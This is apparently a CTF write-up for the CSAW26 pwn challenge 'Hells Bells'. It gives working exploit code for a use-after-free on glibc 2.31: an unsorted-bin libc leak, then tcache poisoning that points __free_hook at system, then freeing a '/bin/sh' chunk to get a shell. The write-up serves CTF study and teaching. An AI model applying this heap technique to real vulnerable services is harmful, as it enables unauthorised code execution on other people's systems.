$ / 3 min read/pwn
Hells Bells
A use-after-free that leaves the pointer in the slot table: unsorted-bin libc leak, then tcache poisoning into __free_hook on glibc 2.31.
- section
- CSAW26
- event
- ctf.csaw.io ↗
- category
- pwn
- status
- ● solved
- provided
- thermite-charge, libc-2.31.so, ld-2.31.so, Dockerfile (from files.zip)
Vulnerability
The defuse menu option frees a chunk but leaves the pointer in the slot table, giving both a use-after-free read and a use-after-free write.
Target
glibc 2.31, Full RELRO, PIE, NX, no canary.
- Full RELRO rules out a GOT overwrite, so
__free_hookis the write target. - glibc 2.31 predates safe-linking, so a tcache
fdis still a raw pointer that can be overwritten with an arbitrary address.
Menu
| Verb | Action |
|---|---|
plant |
allocate + fill |
defuse |
free (pointer not cleared) |
rewire |
write into an existing slot |
inspect |
read a slot back |
Exploit
1. libc leak
tcache only accepts chunks up to 0x410, so a 0x500 request goes to the
unsorted bin when freed and its fd is left pointing at main_arena+0x60.
A 0x80 guard chunk prevents consolidation into the top chunk.
plant(0, 0x500, b'A') # victim
plant(1, 0x80, b'B') # guard against top consolidation
defuse(0) # pointer not nulled -> UAF
libc.address = u64(inspect(0, 8)) - 0x1ecbe0 # main_arena+0x60
2. tcache poisoning
Free two 0x20 chunks so tcache bin 0 holds 3 -> 2, then use the UAF write to
repoint the head at __free_hook. Two allocations follow: the first drains the
real chunk, the second is handed back __free_hook itself.
defuse(2); defuse(3)
rewire(3, 0x18, p64(libc.sym.__free_hook))
plant(5, 0x18, b'E') # drains chunk 3
plant(6, 0x18, p64(libc.sym.system)) # lands on __free_hook
3. Trigger
plant(7, 0x18, b'/bin/sh\x00')
defuse(7) # free(ptr) -> system(ptr)
Notes
The exploit is offset-clean between local and remote — only HOST/PORT
change — because everything is derived from the leak.
Solver: ~/ctf/work/chall1/files/exploit.py
## challenge files
19 files · 1.8 MB- Dockerfile
- ex.py
- exploit.py
- ld-2.31.so
- libc-2.31.so
- libc.so.6
- rel.py
- thermite-charge
- thermite-charge.decomp.c
- thermite-charge_ghidra/
flags redacted; flag images and local flag.txt files removed